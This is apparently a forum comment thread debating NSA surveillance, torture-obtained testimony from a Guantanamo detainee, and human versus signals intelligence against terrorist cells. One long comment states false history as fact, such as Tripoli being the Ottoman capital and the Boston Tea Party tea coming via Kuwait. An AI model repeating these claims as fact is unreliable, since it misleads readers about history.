There is no excuse for universal wiretapping and data collection except to crush those who trust you with their privacy. That is, it only works on your own people. Any non-trusting person, with great concerns for privacy, can evade such blanket searches by any variety of measures.
It's called hiding in plain sight, and it works.
--
Toro
no one wants to add another one during peacetime.
Isn't the United States of America officially at war?
If you're a zombie and you know it, bite your friend!
I'm really surprised the postings here are all debating whether or not the methods of communication claimed to be used this guy and his colleagues are secure or not, and debates about NSA.
How about questioning if this is what was actually used? Maybe he's just making it up because he's had enough of the conditions he was kept in and will say anything to get away from Guantanamo Bay. I'm not saying he was tortured, but if you put me in a military prison for five years, flew me out to Morocco for some "hard questioning", repeatedly made me feel like you were going to drown me ("waterboarding"[1]), smacked my head against a wall multiple times ("headbanging"[2]) and locked me in a small cage with insects I had a phobia about and told me they might bite me [3] I might well just say anything I thought you wanted me to.
[1]http://www.telegraph.co.uk/news/worldnews/northamerica/usa/5185835/CIA-waterboarded-Khalid-Sheikh-Mohammed-183-times.html
[2] http://online.wsj.com/article_email/SB123975168816518691-lMyQjAxMDI5MzE5NDcxNTQxWj.html
[3] http://www.dailymail.co.uk/news/worldnews/article-1170857/Obama-wont-prosecute-CIA-agents-used-insects-waterboarding-sleep-deprivation-terror-suspects.html
When the Daily Mail, a right wing newspaper, suggests the US military are echoing interrogation techniques used in Orwell's "1984" then I think we have to be a little bit critical about believing the credibility of the information gathered in this manner.
"please, tell us how they were supposed to know that this was the Hotmail account they wanted to crack without doing anything illegal to get this information."
They couldn't possibly know and it starts to become a slippery slope. The argument you seem to be making is the same argument the government has been making for 8 years: we need to be able to look at anything anytime because there's no way to tell who is saying what to whom. Terrorists are amongst us!
But you can also make the opposite argument. Tracking down every possible electronic communication can't ever find every "terrorist activity" and the unfortunate side-effect is that we'd be in a situation where the government knows everything about everyone. This seems to be a cure worse than the disease.
You were mistaken. Which is odd, since memory shouldn't be a problem for you
I think what they are driving at is all this high tech mumbo jumbo don't mean squat if you ain't got ears on the ground. The problem is during the cold war we got used to dealing with these large governments, like the Russians and the Chinese, that like all large bodies have lots of bureaucracy and a set way of doing things. With these terrorists you are talking about tiny cells, from a few hundred down to just a couple of guys, who basically don't have any infrastructure or preset anything.
Now more than ever we need snitches, informants, and operatives that can blend in and report back to us. Sadly all the good will we had from 9/11 got burnt by Dubya with Iraq and his "yay torture!" crap. This has added to the hatred against the USA at what couldn't be a worse time. Trying to blanket record the whole smash when we create something like 300 exabytes per year on the Net alone just means they are going to be buried in mounds of useless crap while eroding our rights. Same thing with cell phones since everybody and their kids have the things now and bounce from plan to plan all over the place.
So IMHO we need the current administration to disavow the torture and other crap and to try to clean up the messes Dubya left. The sooner we get out of Iraq and Afghanistan the better, and if we stop propping up unpopular "el presidente" types with American aid because they are nice to our corps that would be of the good also. The only way we are going to make any headway against these guys is by having good folks in the regions willing to help us.
This doesn't mean we shouldn't target their communications precisely when we get our sights on one of them, it just means that with the super-connected world we have today there is simply no way to do a blanket job on one form of communication or another, not without destroying the very same freedoms the terrorists want to take from us. But all of this will take time and hard work rebuilding our reputation and doesn't make for catchy soundbytes. So whether we will actually do the work or just try to keep everybody under the "electric eye" remains to be seen.
ACs don't waste your time replying, your posts are never seen by me.
Ali Saleh Kahlah al-Marri can for all we know just be making it up as he go just to get a leaner sentence. That and the torture hes been put through sure can make wonders for a captives imagination.
Torture is a very crappy way of getting information and just about as reliable now as it was during the spanish inquisition where many people confessed of being wiches, sorcerers and all sorts of funny things. The inquisition was dismantled because it was ineffective, not because it was evil or inhuman.
Barack Obama is a spineless wimp for not prosecuting the hell out of the former administration and instead letting things like this that excuses torture upfront.
HTTP/1.1 400
Yeah, Osama Bin Laden? Do you have the new battletoads game?
I am guessing that they could have recruited David Hicks pretty easily. He just wanted an adventure. They should have locked him up for a year and offered him a deal to work for the US and pin the location of Bin Laden. Risky but better than nothing.
http://michaelsmith.id.au
You forgot the most important part - the machine that goes "Bing!"
It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
Yes, but the problem is that the CIA has far more wannabe James Bonds than it has wannabe Harry Palmers.
It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
Wish I had points for you.
Pay some unmarried dude 20 million a year to live this shitty life in return for his services and, additionally, pay well some willing prostitues to be shipped in secret CIA planes to have fun with him secretly - call it "operation secret panties"
Sorry for replying again but I think that is exactly how Osama Bin Laden got the resources to start Al-Qaeda.
http://michaelsmith.id.au
For the uninformed, like myself: Harry Palmer
Not that I'm aware of it. I recall that Bush claimed we were but I don't remember Congress actually declaring war.
If you've not seen "The IPCRESS File", it's available from Pirate Bay - errr, Amazon, and has to be one of the best spy movies ever.
It's a small world and it smells funny; I'd buy another if it wasn't for the money; Take back what I paid (SoM)
The idea that the NSA is listening to everything that anyone anywhere is saying or writing in an email is actually comforting to a lot of people because they think that the US government actually has the power to do so.
Fact is that the US government and military isn't light years ahead of everyone else. Its not really possible to brute force surveillance (keep an eye on everyone) given the technology we have now, or technology that will be available in the next 20 years. A lot of people simply don't understand how far we actually are from that. Terrorists use tools like hotmail because they can. If the govt. agencies started catching on and found an adequate way to track them, then they could easily move onto something else. I mean, think of all the conversations going on in Mirc right now, in WoW, in Second Life, and the list goes one. Its simply not conceivable to track everything.
I think the real take away from this is that none of the wire tapping helped and it isn't likely to help in the future. There's too much noise and not enough signal. If you listen to static long enough you'll start hearing things in it, but they're not actually there. There's way too many message boards that can be used to drop seeming nonsense messages and nobody would notice. Who will notice the one Viagra spam where the nonsense text hides part of a coded message. Which(if any) of the millions of addresses it went to is the maildrop?
Pay some unmarried dude 20 million a year to live this shitty life in return for his services and, additionally, pay well some willing prostitues to be shipped in secret CIA planes to have fun with him secretly - call it "operation secret panties". Are there too many religious right-wingers at the CIA for ideas like this to stick?
The CIA already has a history of doing this. It's not publicly admitted, since it would amount to the Government hiring foreign nationals strippers on taxpayers dime. The article states though that this practice is really not encouraged except for critical situations.
From the link:
As CIA case officers attempt to recruit a foreign spy, they often offer personal inducements, ranging from cash to medical care. In some cases, a potential recruit may be taken to a strip club or even to a prostitute if it is deemed critical to cementing the relationship, longtime officers say. But for Warren, "it was a lifestyle thing," costing the agency thousands of dollars, said one former co-worker who describes himself as a friend. The bills were routinely paid, he said.
"As long as you were doing good work, it was okay," he said.
Best "String" Ever!
Ahh... Have you tried applying the '10-code' again to this result? It works fine here.
Al-Qaeda,.....9/11 has yet to be proven as a work of alqaeda.....
The labels are because multiple airbags have become the newest "ooh shiny!"
Problem is that people think that it means they don't need to wear their seatbelt.
If my call is important, why am I talking to a recording?
It's actually really hard to get people inside these organizations. Durring the Clinton years, and most likely the Bush Sr years, they dropped a lot of funding for intelligence gathering because of the fall of the USSR.
The middle east has had issues going back to the mid 1940's or so making it difficult to get real people to give accurate and real information. But Starting in the 1960 with operation Ajax coming back on us, it's been extremely difficult getting entrenched in these groups because of both Iran and our support for Israel. Granted, we supported the Mujaheddin back in the 80's but they aren't the ones who became terrorists and until the Taliban formed and took control (from the Mujaheddin which turned into the Northern Alliance in Afghanistan), the Mujaheddin was fighting much of the same terrorists situations (which is why the Taliban came around and was successful).
Basically, to make a long story short, about every decade since the 40's presented an issue in the middle east that we didn't fair well in and also made the west a "suspect" to about all but exiled citizens we gladly helped escape. Israel, Iran, the first gulf war, siding with the Mujaheddin put us at extreme odds with the type of people who would later attack us. To make things even more difficult, the type of people we need intelligence from aren't all that easy to pretend to be so we have to basically trade death for life to get a lot of the informers to turn. These organizations are worse then governments where you can find fringe people happy to create power for themselves or defeat what they consider an unjust rule, but we are talking about a cult ideology that is so extreme it makes escaping membership of an intercity gang seem like walking out the door.
How do you unconvince an irrational person and get him to act not only rational but on your behalf in which most of their irrationality presents you as the common enemy that bonds people who would likely otherwise kill each other. It's just something that is extremely difficult and the Shiny Toys had filled the gaps.
Excellent summary of the situation, but you can be sure that someone is going to view it as unpatriotic to even suggest that foreign policy is fatally flawed - "we can't afford to look weak" or some such nonsense. Only the weak and the bullies can't afford to look weak.
You can't appeal to someone's idealism if you yourself are perceived as something less than an "honest broker."
No, but it means spending on people in the field, rather than generating big hi-tech budgets with cool buzz-words, and your own personal fiefdom. Security takes second seat to "oh, shiny." Always has (just look at car designers resistance to incorporating safety features).
To go back to the GGGP's argument:
I mean, you can tap and analyze every cable satellite and radio transmission in the world and still be completely oblivious to a small group of people in a basement somewhere.
You can spend billions on informants and operatives, but they'll all still be oblivious to a small group of people in a basement somewhere. It's pretty damned hard to infiltrate homogeneous groups who speak rare and unique languages with impossible to reproduce accents and close-knit social communities where everyone knows everyone. I'd imagine it's also pretty difficult to turn ideologically-motivated people into informants.
If you follow the common notion in this thread that SIGINT is just "ooh, shiny" for politicians, I really don't know what to say. Clearly decision makers in the know feel SIGINT's results justify SIGINT's budgets. I would say that, if anything, HUMINT has been the disastrous intelligence let-down of the decade. But what do I know? I don't sit on the intelligence committee.
SWM seeks new sig for a brief fling
Allah != Muhammad
True Muslims must review, refine and rewrite QURAN
I'd like to buy homeland for our 10 million people. http://twitter.com/mahadiga
If on lee eye gh-awe a dam.
Mit der Dummheit kämpfen Götter selbst vergebens
It's so lucky that we're the good guys.
Yea we're the "Good Guys"
Good at invading countries that didn't attack us. Killing women and children in the name of God and Country and protection against Terrorism!
In the Side Bar of the article there was 3 links with the label "Terrorism". All three were about the swine flu. Now we have labeled poor sick piggies as Terrorist.
Yes it is a plot by the pigs to take over the world and start makin' bacon out of people.
A good operative will not only be supplying info on who's doing what, but also on local sentiments, trends, etc. This can be valuable when deciding where to look, what policies are working and what are backfiring, etc.
And on the subject of pay for a different manner of service, why do we try to attract people qualified to teach Mathematics and Science by raising the bar for the qualifications but keeping the pay at the same level for 10 years?
Think again: Why do we try to teach math and science by raising the pay of teachers who produce illiterate and incompetent "graduates"?
We might apply similar thinking to the intelligence services.
Nowhere are the relative competence and value of government employees more hidden from the public than in the intelligence services. In my own opinion, as a direct result, gross corruption and incompetence are actually likely to be pervasive. We have plenty of the same elsewhere in government where we can see it happening. It's a sure bet it's at its very worst behind the veils of "intelligence" secrecy.
As a consequence, we need a very special kind of strong and ethical leadership in the intelligence sectors, and I doubt we've got anything like that.
Our foreign policy in the area has really been fatally flawed since the inception of our country. I'm not sure there could be anything different that could be done to change that at this point in time. I mean Thomas Jefferson (our third president) created a Standing Navy and the US Marine forces specifically to deal with the Middle east (Tripoli- then capitol of the ottoman empire) because they were sending pirate ships along the US Atlantic coast and started capturing Private citizens and selling them as slaves. Jefferson asked the ambassador to Tripoli while he was the ambassador to France where they got the right to attack our ships and kidnap our people to sell into slavery and his reply was Allah gave them the right. (of course that was no different then using a god to justify anything else done which was common for the time)
Kuwait, Dubai, Jordan, and quite a few other territorial countries in the area (ottoman empire still) was/were major trade ports for the US and a natural extension of the Asian trade routes coming from China and India to the US. The Tea that we (our founding fathers) dumped into the Boston Harbor traveled by caravan to be loaded on a British flagged ship at the port of Kuwait. We have a history of supportive and mutual aid since the inception of our country as a whole as well as a history of discontent. After WWI and the fall of the ottoman empire, we fought in the league of nations to keep these areas independent and to create their own sovereignty. You've heard the story of Lawrence of Arabia, in which we cooped tribal and territorial leaders to help the allies in WWI under the promise of the creation of their sovereign and independent state.
So I guess I suggest that we are more or less making lemonade from a lot of lemons thrown our way with the middle east. I'm not sure we could ever un-flaw out foreign policy in the area because we would be forgetting what got us there in the first place and leaving allies out to dry (yes, Israel included), by leaving them unprotected from mutual aid agreements or missing the commercial financial support that their countries have grew around for more then 200 years (100 or so being under the ottoman empire).
Flawed probably isn't an accurate depiction of the situation even though it sounds obvious. Overly complicated and complications built on top of complications might be better. And yes, I admit that the US has done some extremely stupid things in the past. Most of the more recent ones pertained to the USSR but a lot of it came from early animosity to Europe throwing it's powers around too. One of the biggest problems we face or have faced in the past is the vast amounts or resources we have in the Americas (north and south) and how isolating ourselves (the US) from the rest of the world would more or less invites invasion for a lot of those resources. Imagine if the Incas or other indigenous cultures of south America were able to call up a neighboring civilization to come to their aid when the Spanish started enslaving them to steal the gold. Columbus and those who followed would never have been able to send the boats over fast enough with enough troops to conquer south America. This is why we need to not isolate ourselves and why we need to not only offer but expect help in return regardless of our ever needing it. When an ally goes down, we then know that we need to do something to help them while protecting ourselves. This may not be as much of an issue as it was 100 or 200 years ago, but it's something that has shaped our existence today and will effect it tomorrow too.
Please give example of "simplest precautions".
That could have been the solution to a lot of the CIA's problems. I wonder if they would have gotten more info out of suspects had they rendered them off to the Netherlands instead of Syria.
It would have given them a few other ways to carry out interrogations too.
"Dude! Where's your bomb?"
"Little does he know, but there is no 'I' in 'Idiot'!"
Only 8 years? Give me a break.
"I have here in my hand a list of names that were made known to the Secretary of State as being members of the Communist Party and who nevertheless are still working and shaping policy in the State Department." -- McCarthy, 1950
Just give me power to investigate this and I will root out these evil-doers. Trust me.
Of course, all cars sold in the US/EU have to pass the same safety standards regardless of where they were made. So the US car manufacturers' failure to compete against foreign companies can totally be blamed on legislation, obviously, totally, and not just on their inability to mass-produce decent quality cars...
The point is that by using minor obfuscation terrorists can evade all the pervasive surveillance there is,
Assuming that these terrorists are using the same telecommunication systems as random members of the public.
while that same surveillance will pick up anything spoken in innocence by people not using such minor obfuscation.
There are two effects at work here. The first that actual terrorists are so rare that any "hit" would be virtually certain to be a false positive. The other is that someone acting a role can come across as more convincing than someone who actually is whatever. This being a technique employed by con artists.
In other words, it's proof that pervasive surveillance is *not* a technique for catching terrorists, which leads to the obvious question - what is it a technique for doing?
Also consider the historical behaviour of the sorts of people who tend to wind up in charge of surveillance...
Fuck Harry Palmer. In real life, Agent Garbo got Adolf Hitler to believe that the Normandy invasion was not going to take place at Normandy. He claimed that it was going to be a huge feint to hide the real attack at Pas de Calais. Along with a bunch of other counterintelligence programs (Operation QUICKSILVER invented the First United States Army Group [FUSAG] that was poised to attack Pas de Calais; Operation GLITTER faked a huge armada about to attack; Operation MINCEMEAT used a corpse to pass bad intelligence to the Germans regarding Allied intentions in Normandy), the Allies used Garbo to have the Germans withhold crucial military reinforcements from Normandy for days after the attack, waiting for an attack at Pas de Calais that never came. One guy was pretty instrumental in getting the Nazis to misplace their military assets while the Allied established a beachhead at Normandy.
A NYC lawyer blogs. http://www.chuangblog.com/
Yes, they do. John Wells - http://www.amazon.co.uk/Faithful-Spy-Alex-Berenson/dp/0099502151/ref=sr_1_1?ie=UTF8&s=books&qid=1241530152&sr=8-1. !
If you believe that, I have a bridge for sale.
Many christians reject anyhting but the King James bible, which has NOT been "corrected".
See the thing is fundementalists reject such rewrites, so it would make no difference at all, they would simply follow the old texts just as christians do.
Simplistic solutions are a waste of time, it will take more than a bit of editing to solve the problems with fundemenatlist religion of ALL kinds.
Silly suggestion.
True Muslims must remove Jewish and Christian references from Quran.
I'd like to buy homeland for our 10 million people. http://twitter.com/mahadiga
Blog forum posts are not exactly a source of any information other than some anonymous persons opinion.
I stand behind my comment above.